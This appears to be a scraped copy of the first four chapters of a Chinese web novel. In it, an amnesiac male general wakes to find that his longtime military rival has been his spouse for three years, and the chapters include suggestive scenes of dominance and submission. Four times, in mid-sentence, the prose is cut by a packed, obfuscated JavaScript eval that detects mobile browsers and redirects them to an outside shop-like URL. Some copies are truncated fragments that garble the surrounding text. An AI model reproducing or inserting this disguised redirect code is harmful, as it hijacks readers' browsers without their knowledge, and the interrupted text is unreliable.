《我竟是死对头的雄主》 1. 01.“阿加尔上将马上就到。” 凯恩睁开眼睛,发现自己躺在病床上。 他不大高兴地“啧”了一声,撑着床边坐起来。 披散的深蓝色长发从他肩头流泻下来,发梢似乎还因为大量出汗有点毛糙。 本应该光洁的皮肤上遗留着浅淡的粉色痕迹。即使送医足够及时,也使用了最高等级的修复液,这样的痕迹也仍然会存在。 也许以后会随着新陈代谢逐渐消失,但也许又被下一次的受伤覆盖加深。 雄虫就是这样脆弱的生物。凯恩当然知道这一点。 - 即使已经当上了上将,大大小小的伤也受过不少,凯恩仍然没有习惯面对自己恢复力远远不如雌虫的、过于脆弱的身体。 连着凯恩身体的仪器乱七八糟发出尖锐的啸叫,额头上似乎也扯落了什么。 他皱起眉头看了一眼,大概是什么监护仪的端口。一个连着线的小圆片。 但凯恩还没来得及做点什么,穿着白大褂的雌虫医生和护士们已经迅速地冲进了病房,半扶半托着把他重新放平在床上。 “凯恩阁下!您重伤初愈,还请千万不要随意挪动!” - 消毒水的味道跟着医生一起在病房里飘散。如果不是因为行动不便,凯恩应该会立刻起身开窗。 他感知了一下,身上似乎已经没什么疼痛感了,只是躺久了腿有点酸麻。起床活动一下的话就会好了。 医生面对雄虫的时候就是容易大惊小怪。也没办法,凯恩从小到大都很习惯于这种来自医疗机构的过度的紧张。 小圆片被贴回他额头上。凯恩眨巴眨巴眼睛,被迫老老实实地平躺下来。 - 虽然他不能移动,但既然苏醒了就可以和下属见面。很快他的副官就敲门进了房间,还给凯恩带来了他的工作用终端。 “我们现在在哪个星系?”凯恩干咳一声,十分突兀地提问。 “极夜星系。我们正在度过极夜期。” 副官回答得不假思索。 “另外,您醒来的消息医疗部已经传给了阿加尔上将。” “啊,嗯。”雄虫喉结轻轻滑动一下,“然后呢?” 他其实还没做好准备面对他的这位多年死对头。 - 不需要副官多解释,凯恩就知道这个地理位置意味着什么。 极夜星系应当是阿加尔的驻地。一般而言驻地更换是五年一次,现在应该还不到时间。 也就是说,现在他还在死对头的地盘上。 而极夜期意味着星系内磁场可能比较紊乱,想联系中央星的话需要申请信号稳定器,通过星际跃迁离开的话也会非常危险。 “阿加尔上将刚刚在会议中,因此没有及时得到消息。……最新消息是他会在十分钟之内赶到。” 副官和他面面相觑。 “另外关于您记忆错乱的事情,目前暂时还没告知阿加尔上将,医务部门只是更新了您的健康监测结果同步给他。需要现在告知吗?” - 让阿加尔上将来看他? 死对头来给他探病? 而且还要把健康监测结果同步给他…… 他们关系有那么好吗。 凯恩觉得副官说得有点儿奇怪,但也许是养伤养得他心态平和,他居然没有对这种问题提出该有的疑惑。 “健康监测结果给他做什么?怕我死在极夜星系吗?”凯恩淡淡地说。 他用词多少有点儿口无遮拦,但他自己不避讳这些。“特意放下工作来看我也很不必了,让他继续开会吧。” 副官的神情似乎更加怪异了。 “您毕竟是已婚三年……” - “已婚三年……” 凯恩无意识地重复了副官的话。 他似乎有点儿头晕,也许这次头部受伤确实造成了某些不可见的影响,而他需要先休息一下才能集中精力。 “你说什么?——我已婚?” 突然仿佛一道闪电划过混沌,凯恩意识到自己似乎没有听错。 “我昏迷了多久?” “……今天是您昏迷的第三天,凯恩阁下。” 副官对他一点头。 闻此噩耗的凯恩立刻又想翻身坐起,扯动身上的仪器亮起一连串报警红灯。 - “别激动别激动,您现在还不能起来……快躺下……” 医护队伍又跑进病房,又是一阵乱七八糟的折腾。 被迫重新恢复成躺姿的凯恩皱着眉头,神情有些不自然。 昏迷三天把自己的大脑读档读回三年前……好像也不对。 从他自己的视角来看,应该是昏迷不知道多久以至于一睁眼就变成三年后了! - “我知道了。等会再安排一个脑部检查吧。” 医生倒是见多识广的样子,对凯恩的反应十分淡然。 他们又敲定了检查时间和检查项目,期间凯恩不得不强忍着自己的困惑。 “已婚三年……和哪位高等级雌虫?” 病房里重归寂静的时候,凯恩皱着眉头示意副官。 “终端打开,给我看看。” - 此刻副官的神情已经有点儿一言难尽。 他看了看凯恩,又看了看终端,露出一副有点为难的样子。 “婚姻信息界面。打开啊,在等什么?”凯恩催他一句。 身为雄虫上将,他天然地被排除在很多高等级雌虫的婚姻选择之外。 毕竟雄虫等级太高的话,能制约他的东西就变得很少。 而凯恩虽然外在一直以温和形象示虫,但能一直跟阿加尔针锋相对这么久,潜在婚配对象也多少会怀疑他的性格本色。 凯恩虽然不太和更加养尊处优的贵族那样任意发脾气,但也不打算为了结婚而伪装自己的性格。 甚至他以前从来没有想象过……他未来会和一个什么样的雌虫结婚。 - 婚配信息是联网的,只要终端接入星网就能及时查到。 到底会是谁呢? 难道是年纪很大的雌虫前辈?又或者是性格不怎么合适的什么贵族雌虫?总不能是等级过低,和他身份不那么匹配的雌虫吧……到底有什么必要这样小心翼翼? 巨大的好奇压过了其他复杂的情绪。副官的动作很利索,但就连加载界面的几秒钟凯恩都不想等。 副官觑着凯恩神色,拿着雄虫的私虫终端,和工作终端一样为他点开了投影。 - 结婚登记的界面上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285847|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是凯恩无比熟悉的那张冷峻的脸。 ——雌君,阿加尔。 凯恩的记忆还停留在阿加尔和他争夺指挥权,竞争军功,或者争论行动路线的时候。 阿加尔居然已经是他的雌君了。 一觉醒来发现死对头居然成了自己的雌君!!! 凯恩实在无法用语言形容自己的心情。 - 所有虫都知道凯恩和阿加尔一直是死对头,从念机甲学院的时候开始,一直到后来参军,乃至最后各自当上了上将。 凯恩一直都本能地和阿加尔较劲,而阿加尔也几乎从不退让,双方各有胜负。 阿加尔怎么会同意和他结婚呢? 这三年来,阿加尔和他到底是怎么度过的呢? 刚刚副官的微妙态度已经很明显了,但他根本没有考虑此种可能性,以至于对他视而不见。 - 凯恩目光转向副官,神情是震惊之后的一片空白。 而副官冲他点了一下头,无声地表示“一切就是您看到的那样!”的意思。 还好是在病床上醒来,不是在某间卧室的床上,多少还有点缓和心情的余地。凯恩想。 那么,受伤后身在极夜星的话,也许只是因为他和自己的雌君住在一起。 凯恩又有点想查询一下名下的不动产信息了。不过也许他们婚后财产也是分开管理的,不一定能看出来他住在哪。 这种一片茫然的感觉还真是不太好。 “阿加尔上将马上就到。他想为自己没有及时赶到而向您道歉。您要允许他进来吗?” 副官看了一眼他自己的终端,开口道。 - “什么及时赶到……我还能和阿加尔计较这个吗。” 凯恩凉凉地看了副官一眼。 好像身边的虫族自动把阿加尔代入了他“雌君”的角色,连阿加尔自己都是这样。 副官会问他“是否允许”。 医务团队主动把他的健康情况通知给阿加尔。 而阿加尔更是态度奇怪。他居然会觉得凯恩会因为他没有守在身边而责备他。 只有他自己还停留在“死对头雌虫”的印象里。 - “好的。另外关于您失忆的事情……也许阿加尔上将还不清楚。”副官说。 “你跟他说。” 身居高位的雄虫早就习惯了做决断。这种小事根本没有讨论的必要。 “……也没关系,说不定看到他就都想起来了呢?不需要跟他解释什么了。” 凯恩发现副官仍然是一副欲言又止的神情,忍不住开口安抚了一句。 - 其实没有,凯恩想。看着这张登记照,还是很难想象这是他的婚姻登记。 他挥手操作终端投影翻了一下页。 “我应该只有一位伴侣吧?” “……是的。”副官回答。 “开玩笑的。既然都已经确认雌君了,身边不可能还能留着其他雌虫吧。” 身为极为稀少的雄虫上将,凯恩当然不希望在自己身边留着什么不确定因素。 他挥挥手让副官出去。 “阿加尔来了的话就直接来吧。不要让他说那些客套话了。没必要。” - 2. 02.他不应该跟自己的雄主谈条件的。^^…… 病房里安静了没多久,门就被敲响了。 即使凯恩手里没有计时器,他也知道阿加尔来得飞快,一定没超出他此前表示的“十分钟之内”。 凯恩觉得这一切都有点儿错乱。 阿加尔对他的态度应该是这样的吗? 这实在是太奇怪了。 - “雄主。” 第一句开头就是这么一个称呼。 有点熟悉。但从阿加尔口中说出来,似乎还是有种错乱感。不像他会说的话。 “你来了。”凯恩冲他笑一下。“我躺久了腿酸阿加尔,你过来帮我捏捏。” 这句话不经思索就脱口而出,这让凯恩又惊了一下。 但他表面上还是一派坦然,仿佛这种要求是理所当然的事情。 - 还穿着制服的阿加尔,身上每一根线条都笔直利落,看起来没有一丝褶皱。 凯恩含着笑意看他,他默默地走了两步,到凯恩身边侧身坐下。 阿加尔的长发编着蓬松的辫子,此刻垂落在肩头,垂眉敛目的样子看起来几乎有温柔的味道。 他会拒绝吗?以他们的婚姻只是形式婚姻,或者类似合约中没有相关条款,这样划清界限的理由? - 阿加尔深吸一口气,摘掉了手上和制服配套的手套。紧接着,他仿佛面对什么非常难以解决的难题,伸出手,缓慢地揭开了凯恩盖在身上的被子。 “本来应该在您身边的。”阿加尔手掌的热度按在凯恩小腿上,以至于分散了后者的注意力。 “今天有事要处理,刚刚还去了雄保会,所以过来得晚了一点。” 他很自然地说着,漂亮的深绿色眼睛定定地注视着自己的双手,好像凯恩平放在床上的小腿是需要集中注意力才能好好检修的机器。 - 也许是副官不清楚另一位上将的行程,也许是他想要为阿加尔美化一下。他没有说出阿加尔是去了雄保会。 但也许阿加尔不觉得这是需要隐瞒的事情,所以就这样告诉了凯恩。 “为什么去雄保会,和我们的婚姻关系有关吗?” 凯恩问。 他说完就觉得这是一句废话。阿加尔也不是那种会和其他雄虫打交道的雌虫,大概率也就是跟雄主有关系。都多余这么问。 “……嗯。是去报备。”阿加尔抬起眼睛,看了一眼凯恩。 “新婚伴侣有很多和繁育相关的指标需要完成。因为我们双方的工作性质,可能有一些指标因此远低于标准水平。” - 阿加尔并不意外凯恩会不知道这个。 他之前也不想跟凯恩示弱。虽然让凯恩帮他打招呼免掉这种事也就是一句话的事情,但他也说不好为什么,就是不想说。 但现在凯恩问了,他也不能不说。 “如果不在期限内去报备的话,会比较麻烦……总之现在已经处理好了,不会打扰您。” 阿加尔一边说,一边看着凯恩的脸色越来越沉。 他知道凯恩在工作中表现得和颜悦色,和同僚或者下属对话的时候态度都很柔和,展现出自己的亲和力。但他私下在生活中其实是强硬而说一不二的。 毕竟阿加尔在凯恩的事业和生活中各自有属于他的位置,见过凯恩的每一面。 - 雄虫脾气硬也是再正常不过的事情。毕竟和雄虫相处的时候大家心里再暴躁,表面上也还是需要保持柔和顺从。 至少凯恩不会对自己的雌君发火……以前不会。 又或者说,阿加尔只是不确定自己现在是不是凯恩认定的雌君。 凯恩用力拍了一下被子,神情是清晰的不悦。 “管到我身边来了?谁给他们的权利?” 他第一反应就是因为自己失忆了所以雄保会借机生事,肆意插手他和伴侣之间的关系。 他和阿加尔就算关系是清淡如水或者相敬如冰不怎么亲密,那都是他们俩的事情,还轮不到雄保会管。 - 他当然可以这么说。阿加尔忍不住想。 身为高等级雄虫,又负有如此耀眼的成就,自然没有虫能让他不顺心。 即使是被认为是权利范围无孔不入的雄保会也不可以。 阿加尔立刻站起身,仿佛凯恩训斥的是自己。 他垂下眼睛,尽量让自己的语气更柔和一点。 “雄主。” 他轻言细语地说。 “已经处理好了,您不用放在心上。” - “你真的是阿加尔吗?” 凯恩眯起眼睛。 凯恩眼中的阿加尔向来是不吝于跟他争执的,他也是难得会对凯恩不假辞色的那种雌虫。 凯恩一度把阿加尔当成是自己必须要征服的对象。 他想要看到阿加尔对他露出那种惊艳的,折服的,难以自控的神情。 不管是真心还是假意。 这几乎已经成为了他的执念。 - 看起来也许确实是失忆了,阿加尔想。 凯恩很少在他面前露出疑惑的神情。 他可能会冷淡地说“你不是阿加尔”,或者笑着说“这不像你啊,阿加尔”。这样的疑惑阿加尔似乎是第一次看到。 “您希望我,怎么证明呢?”阿加尔抬起眼睛,轻声问。 - ——这样的回答也不太像他,凯恩挑剔地想。 如果是那个机甲学院的阿加尔,也许只会淡淡地说一句“无聊”。 如果是之后的阿加尔上将呢? 这样的类似挑衅的话语已经不会对他产生什么影响了。也许他只是挑一下眉毛,并不对此发表什么言论。 那么,已婚会对雌虫产生如此大的影响吗? 凯恩有意无意地忽视了,其实对阿加尔造成此种影响的雄虫根本就是他自己。 - 他忽的笑了一下,对阿加尔指了一下身边。 “坐吧,站着干什么。” 阿加尔顿了一下,又在他床沿上重新侧身坐下。 这个距离上,他们彼此都能嗅到对方身上的气息。 凯恩觉得似乎有种很陌生的感觉。 心理上很陌生,身体上却是过分的熟悉。 好像他想要伸手过去,让阿加尔离他的距离更近一点,乃至于最好紧密地贴在一起。 这是已婚对他自己产生的影响吗? - 他顺应心意,抬起手,像面对什么小动物一样摸了一把阿加尔柔顺的发梢。 他和阿加尔都留着长发,如果睡在一起的话……是不是很容易互相压到? 他们会有同床共枕,耳鬓厮磨的时刻吗? 雄虫就这样胡思乱想。 阿加尔被他摸得停顿了一下,接着就是稍稍偏过头,似乎想让他摸得更顺手一点。 “唔……”凯恩望着阿加尔,手上动作拐了个弯,又捏了一下阿加尔的脸颊。 - 这行为当然是很不礼貌的。 如果是凯恩上将对阿加尔上将的话,根本不应该这么做。 但如果是阿加尔上将的雄主对阿加尔上将的话…… 凯恩觉出了一点趣味来。 他含着一点笑意,手指下移,轻轻捏了一下阿加尔的下巴,然后曲起手指垫在他下巴上,迫使他稍稍抬了抬头。 几乎是一个接吻的前奏。 阿加尔几乎有片刻的失神。 会有一个吻落下来吗?柔和的唇舌相触,酥酥麻麻的缠绵。又或者是疾风骤雨般的索取与闯入。 - 凯恩的手指往下,轻轻略过喉结,然后停在领口的第一颗纽扣上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285848|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿加尔被触碰的地方一片酥麻,反应似乎也因此迟钝了一点。 他还没来得及顺着凯恩的动作做点儿什么,凯恩猝然闪电般出手,迅速扯落了他衬衫的前襟! 纽扣叮叮当当崩开一地,阿加尔立刻往后一退,有些不可置信地看着凯恩。 ……有那么着急吗? - “抱歉,雄主。” 阿加尔回过神来,意识到自己不光后退了,还一把抓住了凯恩的手。 实在不应该。 他又垂下眼睛,刻意摆出顺从的姿态,缓缓挪回了凯恩身边。 凯恩似笑非笑地嗤了一声,似乎等着他进一步的动作。 这是你的雄主,阿加尔鼓励自己,他想做的事情都是雄主对雌君应该做的,你现在应该配合他。 “我只是没想到,您现在就想要。”他勉勉强强解释一句。 “如果……”他看着凯恩的神色,也没如果出什么来。 雌君是不应该对自己的雄主谈条件的。 “……现在也可以。”他简单地说。 - 凯恩的手在阿加尔手心,此刻似乎散发着让阿加尔难以忍受的热度。 “嗯?”凯恩发出疑问的声音。 阿加尔觉得自己脸上有点儿发热。 虽然在结婚三年间,他经常有这样脸上发热发烫的感受。但他似乎还是没有习惯这一点。 他抓着凯恩的手,低下头又往下解了几颗扣子,然后慢慢地把雄虫的手按在了自己的胸膛上。 - 其实凯恩只是想看看阿加尔身上的伤疤,它落下的时候他们还在学院,但因为非常严重,所以这么多年也还没有消退。 那个时候凯恩似乎还没有完全经历完觉醒期,对机甲操作的手法也没有现在这么老道。 而阿加尔……那个时候的阿加尔就已经明显成为他的对头了。 凯恩一直知道,很多雌虫同学不跟他争未必不是因为争不过他,更多的是有其他方面的顾虑。 所以像阿加尔这样,纯粹地跟他争胜的对手就显得非常难得。 也非常显眼。 - 凯恩回过神来。 刚刚拉开的口子已经足够他看到自己想要看的东西。 这确实是阿加尔。那个他无比熟悉却也似乎不够熟悉的死对头雌虫。 凯恩的手掌覆盖在阿加尔的胸肌上。 他能清晰地感知到那种软弹温暖的触感。 让他联想到生机勃勃一类的词。 指尖轻轻抚摸过浅淡的伤疤,雌虫似乎瑟缩了一下,但又立刻挺了挺胸,像是迎合。 身为雌虫,阿加尔的身材保持得非常好。穿着制服的时候显得他身形格外挺拔。 但凯恩的记忆中只有单纯观看的经历,关于抚摸的手感似乎还是头一回。 当然,也可能只是他婚后其实已经这么干过,只是现在忘了而已。 - 他这么想,也就这么说出来了。 “我以前这样碰过你吗?” 他含着一点笑意,仿佛自己刚刚突然的失态真的只是因为现在想摸一下他的胸肌而已。 不过身为雄主,似乎也不需要对雌君解释自己心血来潮的奇怪行为。 “……”说是或者不是好像都很奇怪。阿加尔抬头看了凯恩一眼。 “说啊,阿加尔。”凯恩催他一句。“我不记得的事情,你不应该提醒我吗?” - 如果恢复记忆了,知道自己在瞎说的话,凯恩应该会不高兴吧。阿加尔想。 阿加尔当然不想让自己的雄主不高兴。于是他伸出手,用力按在了凯恩的手背上。 “至少应该是,这样的力度。” 他看着凯恩的眼睛,轻轻地说。 “您可以再重一点。” 3. 03.“你只需要告诉我,想不想要?”^^…… “我什么时候能出院?” 凯恩一边暗暗加大手心里的力度,一边百无聊赖地问。 “如果我们已婚的话……”他似乎很感兴趣似的。“你应该会需要我的安抚吧?阿加尔。” “如果您身体恢复了的话。”阿加尔说得十分克制。 他感觉凯恩似乎对他抱有一种陌生的好奇。不太像那个沉稳温和的凯恩上将,反而更有一种年轻跳脱的感觉。 这让阿加尔有种难以言喻的……毫无道理的羞耻。 - “雌虫应该很需要雄虫才对,你怎么不立刻答应,还想着拒绝啊?”凯恩又说。 对,就是这种感觉,阿加尔想。 凯恩在受伤以前,从来不会说这种雄虫对雌虫挑刺、吹毛求疵想惩罚对方的通用话术。 但凯恩似乎又并没想着惩罚他。 凯恩似乎留出了解释的时间,等待阿加尔给他回复。 - 如果是雄虫的话,会稍微任性一点好像也很正常。 凯恩之前不大开玩笑,私下面对阿加尔的时候话也算不上多,阿加尔也不需要费心思考该怎么面对他。 也许正是因此,凯恩稍稍像现在这样跟他多交流一点,他就有点手足无措。 - “我们可以说正事了?”阿加尔伸手按住了凯恩的手。 也许这才是凯恩更熟悉的状态,也是他自己更熟悉的状态。 从校园到军中他们一直都是同辈虫,连晋升速度都差不多,谈公事当然也比谈私事的情况多得多。 毕竟他们结婚只有三年,认识却已经很久了。 - “不叫雄主了?”凯恩笑着反问一句。 他的手掌被阿加尔按住,似乎不允许他进一步的触碰。 而他掌下,雌虫结实的肌肉正在毫无规律的震颤着,也许是太过于用力绷紧而导致的失控。 他的目光回到阿加尔脸上。雌虫似乎正不易察觉地轻轻咬着牙,一副隐忍的样子。 仔细看看,他全身似乎都散发着若有若无的排斥的意味。 有那么抗拒吗?不是已婚三年,难道是还不习惯自己雄主的触碰吗? - “……” 阿加尔没有回话。 看起来阿加尔十分不适应和他进行这种没什么实际意义的对话。 也许他们本来也只是出于匹配度之类的原因才结婚,并非死对头之间萌生出了什么多余的情感。 也不知道到底是好事还是坏事。 不过这样也好。凯恩还有很多时间可以慢慢探索和雌君的相处之道。 至于和阿加尔上将相处…… 那是更熟悉的事情,就算没有这三年光阴他也能轻松适应。 - 凯恩把手从阿加尔的胸肌处毫不留恋地撤走,然后伸手拢了拢,帮他把敞开的衣襟稍微合上。 阿加尔还没来得及说什么,凯恩就立刻收敛了神色,摆出一副要跟阿加尔讲正事的态度。 “首先明确一下我的记忆混乱情况。我对‘现在’的认知是星历3571年,从这之后的事情几乎一点也想不起来了。” “所以在这期间发生的事情,需要你提醒我。” 阿加尔好像想开口,但凯恩果断地做了个手势示意他别说话,自己则继续说了下去。 “——这次我出事是在极夜星系吗?阿加尔。” “事故报告出来了吗?星舰哪个模块最先失效?导航系统正常运转吗?” “军部对我的事故反应如何,有没有提出让谁暂代我的职权?有没有其他比较重要的调令或者部署?” “我会和我的副官核实这些。别糊弄我,你知道的,阿加尔。” - “是在极夜星系。”阿加尔叹了口气,说。 “事故报告细节还没到我这儿。既然醒来了,您可以自己去调取这些信息。” “至于其他的……事故等级没评定,军部并不知道您受的伤已经严重到影响工作了。” “加上现在极夜星系还在极夜期,消息反应没那么快,目前一切仍然如常。” - 之前玩笑似的动作扯掉了几枚纽扣,清洁管家早已清扫完成放在桌面上,此刻又被凯恩拿起来攥在手心。 太麻烦了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285849|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 事故到底是意外还是有其他原因,接下来应该怎么做,以及要怎么面对眼前这个对自己态度不明的雌君。 - “您想上报现在的情况吗?还是先……” 阿加尔低下头,看了看自己。 被撕开的衬衣耷拉在身上,雄虫搁在那里的手掌已经撤开了。 “……需要我做什么的话,请直接吩咐。” 每一寸皮肤都在渴望着凯恩的触碰。 凯恩失忆了,很多事情都不记得。但阿加尔拥有记忆。 要不要和他提起呢? - 凯恩和阿加尔对视片刻,无奈地叹了口气。“我也不知道怎么办。不过也许明天我就想起来了。” 想来这三年还是多少有点变化的。他本来应该在阿加尔面前无论如何撑起强势表象的那种雄虫,但此刻他居然在阿加尔面前示弱了。 以前有没有跟阿加尔有过这种不含什么挑衅的对视呢,好像还是不记得了。凯恩想。 “算了,工作的事情先不说了。现在我也没有其他事情,你什么时候需要安抚的话告诉我就行。” 他说得十分慷慨,仿佛对合作方商定合作细节。 - 阿加尔停顿了一下,竟然不知道说什么。 身为已婚雌虫,就没有不需要雄虫安抚的情况。 但在医院里就求欢的话好像又有点…… 倒不是说场合不合适,毕竟雌虫们在这种事上的接受程度都非常强。 他担心凯恩身体没有完全恢复,这件事之后又会被当成雄保会给他开处罚的论据。 - “您不用勉强自己。” 阿加尔干巴巴地回复一句。 “您休养才是最重要的事。” “没有勉强。”凯恩说得很坚决。“你现在也不让我出院。办点和伴侣的正事也算没有浪费时间。” 他看着阿加尔漂亮的绿眼睛眨巴了两下,好像在谨慎地思考的小动物。 那么他提出的要求是陷阱吗? 凯恩竖起一根食指抵在自己唇边。“阿加尔。你现在只需要告诉我。你想不想要?” 4. 04.记住今天的感觉好吗? 阿加尔还没来得及做出什么回答,病房门又被敲响了。 这次是检查设备准备好了,医务组带凯恩去做头部检查。 这件事当然是眼前最重要的事情。阿加尔也无暇再和凯恩讨论这种混杂正经和暧昧的话题,而是起身跟上了凯恩。 - “……既然我来了,顺便问一句。” 凯恩进检查间的时候阿加尔在门外等。 这里毕竟是极夜星系,眼下医疗处的医生和阿加尔基本都早已熟悉。阿加尔也就趁着这个间隙跟医生开了口。 “凯恩上将现在的情况你们也知道。我的皮肤饥渴症……还有其他抑制办法吗?” 他看似平静,目光却忍不住往检查间飘了一下。 “就算是暂时的也可以。” - “之前您似乎尝试过,药物的效果并不好。”医生想了想。“但是剂量已经不能再加大了,否则会对身体有害。” “……行,那先给我开一次药吧。”阿加尔说。 雌虫们因为生理上需要雄虫而现实又得不到这样的矛盾衍生出过很多稀奇古怪的病症。只是单纯的皮肤饥渴症其实也算不了什么。 医生和阿加尔自己都很习惯于这样的处置。与其把希望寄托在得到雄虫的满足,还不如自己想个办法处理掉。 - 检查结果是一切都正常,看不出有什么引发记忆紊乱的诱因。 在凯恩的强烈要求下,他身上的大部分仪器都被拆掉了,姿势也从只能躺着转变成被获准坐起来。 阿加尔的手心贴在凯恩的背上,把他从床上扶起来,又给他背上垫了个枕头。 枕头的质感似乎有点硬,阿加尔想,是他疏忽了,应该把这些用具都换成雄虫喜欢的那种才对。 - “一切正常,阿加尔。” 凯恩脸上挂着阿加尔很熟悉的那种笑。好像是有什么其他含义,又像只是单纯的重复了一下这个结果。 从他们还是同学的时候,凯恩做到某些阿加尔还没做到的成就的时候,他就会露出这样的神情。 年岁度过,凯恩的五官当然比那时候成熟多了,但身为已婚雄虫他居然还是会这样跟自己的雌君较劲。 “……恭喜雄主。” 这时候应该说什么呢? 即刻邀宠的话太急切,也许只是这样一句足够克制的话就够了。 阿加尔浓绿的眼睛盯着凯恩,半晌才说。 - “那么,是不是应该——” 阿加尔没说什么,但凯恩并不介意自己点破这件事。 他对阿加尔伸出手,像是邀请。 “请您稍等一下。” 阿加尔取出刚刚医生交给他的药盒,白色的药片落在掌心。 很熟悉的药片,及时咽下去的话就不会发苦。他顿了一下,没怎么犹豫,就直接塞进了嘴里。 - “你在吃什么?” 凯恩伸出的手原本是想握住雌虫的手,恰在此刻转而扣在阿加尔手腕上。 从结果上看,几乎是从阿加尔手上抢走了那个盒子。 但他拿着药盒攥在手里,也不仔细看,只是盯着阿加尔的脸。 - “这种事……应该不能怪我误解吧。” 凯恩说。 先是表现得那么为难,然后又要吃了药才来……怎么看起来就像是要借药保持应对雄虫的状态的样子。 而且阿加尔对此也毫不掩饰,就像是在他们之间发生过太多次一样。 “我没有勉强我的雌君的意思。”他唇角勾了勾,眼睛里却没多少笑意。 - 已婚雌虫在面对自己的雄主的时候就没有“怪雄主”这种选项。 雄主会有误解,当然是因为雌虫自己没有清晰地表达自己的意思。 应该由他道歉才对。 阿加尔深深吸气。他什么都没说,一把抓住了凯恩的手,闭上眼睛,把自己的嘴唇送到了雄虫唇边。 - 嘴唇相触,紧接着就是用力的磨蹭,唇舌纠缠,舔舐较劲,湿漉漉的酥麻感。 亲吻的时候距离太过贴近,阿加尔能感知到凯恩身上淡淡的雄虫信息素,还有他比雌虫稍低一点的体温。 虽然失忆了,但凯恩仍然放任了他这样亲密的行为。 “不勉强……”他堪堪堵住了下一句雄虫即将要生气的句子,想来是因为这三年里这种经验已经很丰富。 “我正准备跟您说这件事。” - 凯恩舔了舔自己的嘴唇,回味片刻。 这个吻的时间好像有点短,但阿加尔这一次足够主动。 这种感觉应该很熟悉吧?毕竟那是他已婚三年的雌君。 可惜他还是没想起来什么,要不要再抓住阿加尔重新试一次呢? “你说。”他又舔了舔嘴唇,声音低沉。 - “我想……您应该知道关于我的生理上的需求。” 凯恩接过他的终端。格式和他自己相类的报告,名字是阿加尔的,内容倒是有点陌生。 皮肤饥渴症。 阿加尔看起来也没有很渴望和雄虫直接接触的样子,甚至在自己偶尔主动的时候还有点躲闪的味道。 “是吗……什么时候的……” - 其实这个疑问并不是他对阿加尔的话有所怀疑,只是凯恩的语言习惯而已。 他稍稍把文件往下滑了一下,就看到了抬头上的时间和就诊记录。 “哦,原来是复查的结果。” 他想到阿加尔的反常,又想到了自己的疑惑,终于忍不住弯起嘴唇笑了一下。 “既然要让我帮你处理的话,为什么又要吃药?” - “……因为我担心在雄主面前失态。” 阿加尔回答得很快,几乎没怎么思考。 这倒是一个很好的理由。 凯恩看了看阿加尔,好像也没法判断这到底是一句客套话还是确有其事。 - “什么样的失态?” 凯恩故意露出那种好奇的表情。 “你说的是那种稍微有些身体接触,就急着要往后退的举动吗?” 他的声音很轻柔,但阿加尔的姿态很明显因为他的话更僵硬了一点。 “还是雄主想看看你的身体,被你一把抓住手躲过去了的样子?” - 雄虫撑住床,上半身往外探出,离旁边的雌虫更近了些。 他神情有些捉摸不定,不太好分辨究竟是戏谑还是愠怒。 “又或者……是雄主话还没说完,你就迫不及待地亲上来了的那种失态?阿加尔上将?” - 身边的雌虫猝然起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285850|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍稍退了一步。 凯恩伸出手,刚想把他拢回自己身边坐下,阿加尔已经低了头,毫不犹豫在病床边跪了下来。 雌虫的动作利索而敏捷,双膝砸在病房的地面,发出一声闷响。 “是我错了。”他的声音发涩,仿佛每个词都吐露得很艰难。“请雄主……惩罚我吧。” - 伸出的手抓了个空,凯恩微微一怔。 他本意其实是逗弄一下眼前有些拘谨的雌虫,并没打算真的对他做点什么。 病房里的空气仿佛骤然凝固了。只剩下雌虫明显的压抑的呼吸声,在一片寂静里显得格外清晰。 - “唔。” 凯恩并没立刻叫阿加尔起身。他停顿片刻,若有所思似的。“既然如此……” 凯恩当然不会用什么严酷的手段惩罚阿加尔。 虽说他更习惯把阿加尔当成是死对头,但他还是更希望征服阿加尔的意志,让他心甘情愿地在凯恩面前俯首。 而不是单纯因为雄虫信息素。 但阿加尔都这么说了,好像就这样免去惩罚也不太好。 他的雌君主动把“惩戒”的权力交到了他手里,如果轻轻放过了他,岂不是辜负了自己雄主的身份吗? 他理应给阿加尔一次让雌虫印象深刻的“惩罚”。 - 寂静在他们身边蔓延。 